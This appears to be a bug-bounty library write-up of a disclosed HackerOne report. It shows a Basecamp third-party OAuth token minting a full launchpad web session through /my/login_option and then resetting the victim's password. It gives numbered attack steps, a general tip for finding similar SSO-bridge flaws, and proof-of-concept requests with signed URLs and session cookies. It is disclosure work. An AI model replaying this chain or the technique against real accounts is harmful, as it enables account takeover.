# A third-party Basecamp OAuth token mints a full launchpad web session through GET /my/login_option

Third-party Basecamp OAuth token hit GET /my/login_option, got a signed launchpad session URL, and took over the 37signals identity including password reset.

- Payout: hidden
- Severity: high
- Program: Basecamp
- Found by: deivizzzz
- Disclosed: 2026-10-30
- Write-up quality: 9/10
- Original: https://hackerone.com/reports/3999856
- Library page: https://bugbountylibrary.com/r/h1%3A3999856
- Tags: area:web domain:api domain:web impact:ato impact:privesc kind:bounty platform:hackerone sev:high tech:oauth technique:chained vuln:access-control vuln:account-takeover vuln:auth-bypass

**Target:** launchpad.37signals.com session bridge / Basecamp API /my/login_option
**Root cause:** The /my/login_option API route accepted any valid API bearer token, including third-party OAuth integration tokens scoped only to Basecamp data, and returned a signed launchpad session-mint URL. The launchpad session bridge did not distinguish first-party session handoffs from third-party OAuth tokens.
**Steps:**
1. Obtain a third-party integration OAuth token consented for Basecamp data only (payload shows client_id, user_ids, api_deadbolt).
2. Confirm token's legitimate scope: `GET https://3.basecampapi.com/<acct>/projects.json` -> 200.
3. Request `GET https://3.basecampapi.com/<acct>/my/login_option` -> 302 with `location: https://launchpad.37signals.com/session/create?proceed_to=...&sig=...`.
4. Control: `GET https://launchpad.37signals.com/identity/edit` with bearer -> 302 to /signin; tampered sig -> 302 to /signin.
5. Follow the signed URL in a cold jar with no token: `GET session/create` -> 302 setting `_launchpad_session`, `identity_id`, `session_token`, `authentication_session_token`, `device_id` cookies.
6. Open `GET https://launchpad.37signals.com/identity/edit` with minted jar -> 200 showing victim's identity fields.
7. `GET /identity/password/edit` -> 200, form requires no current password.
8. `PUT /identity/password` with chosen password -> 302; log in with new password -> 200 access_token.
**How found:** Noticed the API surface exposed a /my/login_option route alongside normal data routes; hypothesized it would hand back a launchpad session credential and tested whether a third-party token (not just first-party apps) was accepted, then compared enforcement against the identity write route that returned 403.
**Exploitation:** Attacker registers an integration, gets a victim to consent once, then uses the resulting OAuth token to call /my/login_option, follows the signed URL in a clean browser jar to receive launchpad session cookies, edits identity fields and sets a new password without knowing the old one, taking over the 37signals identity and any Basecamp or linked accounts.
**Escalation:** Chained a data-scoped OAuth token into a full identity web session, then used the no-current-password change form to persist access beyond token revocation.
**Insight:** When an API exposes a session-handoff or SSO-bridge endpoint next to data endpoints, test whether third-party/scoped OAuth tokens are accepted there — authorization is often enforced per-route, so a token refused on a write route may still mint a full web session on the bridge route.

## Proof of concept (copied exactly from the original report)

**Token mints launchpad session via login_option**

```
GET  https://3.basecampapi.com/6277675/my/login_option -> 302
       location: https://launchpad.37signals.com/session/create?proceed_to=%2Fidentity%2Flogin_option%3Fcurrent_user_id%3D53785363&sig=BAhbB2kEWOW1AUl1OglUaW1lDZCgH8AdpgMaCToNbmFub19udW1pArQDOg1uYW5vX2RlbmkGOg1zdWJtaWNybyIHlIA6CXpvbmVJIghVVEMGOgZFRg%3D%3D--d46941a822553e74dd512d2045dd52545dc29932
```

**Cold jar follows signed URL, gets session cookies**

```
GET  session/create -> 302
    location: https://launchpad.37signals.com/identity/login_option?current_user_id=53785363
    set-cookie: identity_id=Mjg2OTc5NDQ%3D--0c8b3e36848fed0cbb3e10453db345262ae8c853; path=/; expires=Tue, 04 Sep 2046 16:05:33 GMT; HttpOnly; SameSite=Lax
    set-cookie: session_token=b7bd54e7e8386aa38d1e; path=/; expires=Tue, 04 Sep 2046 16:05:33 GMT; HttpOnly; SameSite=Lax
    set-cookie: authentication_session_token=ImUxZmJiZjFmMzU4ZTU5NmUwZjA4N2EzYTYxMzg1NDgxIg%3D%3D--7416eb6288884d8504ad5c10197c44b7447c7fa1; path=/; expires=Tue, 04 Sep 2046 16:05:33 GMT; HttpOnly; SameSite=Lax
    set-cookie: device_id=NTM1NTk3OTM%3D--8713d944a903f311acc3645b2bd455934d4329c0; path=/; expires=Tue, 04 Sep 2046 16:05:33 GMT; HttpOnly; SameSite=Lax
    set-cookie: _launchpad_session=O%2FRxSHsc6LCUYYJZpjbAL2NyfTg4x5PRcgBvMidqeoOWAQ7xqBgCTtCw8CCa3Ym0BIwW9GNwnIcXbtFpVHy0xUVVCaR3cxUoe1ihOnDg%2FF5QttjpQ3%2BMzBXQ%2B%2BQMT4g5Llcz2I7ZZ0R092m3pC%2FQrdvGVUZZJgh3SjJL5xUUJz8YXduFlOjbsrDFqysa3RD5nzpQrFlukm02iC2HhI1XHQE%3D--BOQIMN7gU1akHJHk--xkzay3oCWch1xjuW4WF0yQ%3D%3D; path=/; expires=Fri, 18 Sep 2026 16:05:33 GMT; secure; HttpOnly; SameSite=Lax
    x-request-id: 8be354f9-c818-46ce-ba25-99813291d2f5
```

**Minted session sets account password**

```
PUT  https://launchpad.37signals.com/identity/password -> 302
    location: https://launchpad.37signals.com/identity/login_option?current_user_id=28697944
    x-request-id: db193b70-2809-4b52-8092-c5a1b2686b26
```

